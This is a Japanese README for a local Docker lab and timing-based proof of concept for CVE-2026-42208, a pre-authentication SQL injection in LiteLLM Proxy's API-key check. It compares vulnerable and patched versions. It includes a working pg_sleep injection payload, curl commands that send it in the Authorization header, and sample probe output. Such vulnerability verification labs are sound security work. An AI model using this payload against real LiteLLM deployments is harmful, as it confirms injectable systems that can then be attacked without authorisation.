
# CVE-2026-42208 用ローカルDockerラボとタイミングベースの概念実証 LiteLLM Proxyにおける認証前SQLインジェクション(CVE-2026-42208)のローカルDockerラボとタイミングベースの概念実証で、脆弱なインスタンスとパッチ適用済みインスタンスを実証します。
CVE-2026-42208(LiteLLM ProxyのAPIキー検証パスにおける事前認証SQLインジェクションの脆弱性)のためのローカルDockerラボおよび最小限の害を伴うPoCです。
このリポジトリは、タイミングベースのPostgreSQL pg_sleep() 証明を使用して、脆弱なLiteLLMインスタンスとパッチ適用済みLiteLLMインスタンスの違いを示します。
適用範囲: ローカルラボ / 許可されたテストのみ。デフォルトのPoCはデータベースデータのダンプや変更を行いません。
CVE-2026-42208は、LiteLLM Proxyバージョン 1.81.16 から 1.83.7 より前のバージョンに影響します。
この脆弱性は、LiteLLM APIエンドポイントに送信される細工された Authorization: Bearer ... ヘッダーを介してトリガーされます。影響を受けるバージョンでは、呼び出し元が指定したトークンがAPIキー検証中にSQLクエリパスに到達する可能性があります。
このラボでは以下を比較します:
| サービス | バージョン | URL | 期待される結果 |
|---|
vuln | v1.83.6-nightly | http://127.0.0.1:8081 | 遅延した401レスポンス |
patched | v1.83.7-stable | http://127.0.0.1:8082 | 高速な401レスポンス |
この証明では、以下のようなペイロードを使用します:
' OR (SELECT pg_sleep(6)) IS NULL --
両方のサービスはHTTP 401 を返すはずですが、脆弱なインスタンスは応答に約6秒かかるのに対し、パッチ適用済みインスタンスはすぐに応答するはずです。
.
├── docker-compose.yml
├── vuln/
│ ├── Dockerfile
│ └── config.yaml
├── patched/
│ ├── Dockerfile
│ └── config.yaml
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
localhost:8081 -> 脆弱なLiteLLM -> PostgreSQL db-vuln
localhost:8082 -> パッチ適用済みLiteLLM -> PostgreSQL db-patched
PostgreSQLサービスは内部Dockerサービスであり、ホストには公開されません。
公開されるのはLiteLLMのHTTPポートのみです:
| ホストポート | サービス | コンテナポート |
|---|---|---|
8081 | 脆弱なLiteLLM | 4000 |
8082 | パッチ適用済みLiteLLM | 4000 |
docker compose up -d --build
サービスステータスの確認:
docker compose ps
期待されるステータス:
db-vuln healthy
db-patched healthy
vuln healthy
patched healthy
脆弱なインスタンスのテスト:
python3 poc/poc.py --url http://127.0.0.1:8081
パッチ適用済みインスタンスのテスト:
python3 poc/poc.py --url http://127.0.0.1:8082
--url ターゲットのベースURL
--path テストするAPIパス。デフォルト: /v1/chat/completions
--sleep pg_sleep() の秒数。デフォルト: 6
--rounds プローブラウンド数。デフォルト: 2
例:
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions
脆弱なインスタンス:
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'
[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation
パッチ適用済みインスタンス:
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'
[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed
このラボでの実行結果の例:
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s
vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s
重要な観察点は、両方のサービスが 401 を返すものの、脆弱なサービスのみがおよそ pg_sleep() の時間だけ遅延することです。
このリポジトリでは、データ抽出よりも安全であるためタイミング証明を使用しています。
PoCは、応答遅延を観察することで、注入されたSQL式が評価されていることを証明します。データベース行のダンプ、APIキーの抽出、レコードの変更、認証のバイパスは試みません。
脆弱なサービス:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8081/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
パッチ適用済みサービス:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8082/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
期待される動作:
vulnerable -> 約6秒
patched -> ほぼ即時の応答
docker compose down -v
これにより、コンテナ、ネットワーク、PostgreSQLボリュームが削除されます。
このラボは、ローカルおよび許可されたテストのみを目的としています。
所有していない、またはテストする許可がないシステムに対してPoCを実行しないでください。
このラボでは、実際のプロバイダーAPIキーや本番LiteLLM認証情報を使用しないでください。
デフォルトのPoCは破壊的な動作を回避し、データベースの内容を抽出しません。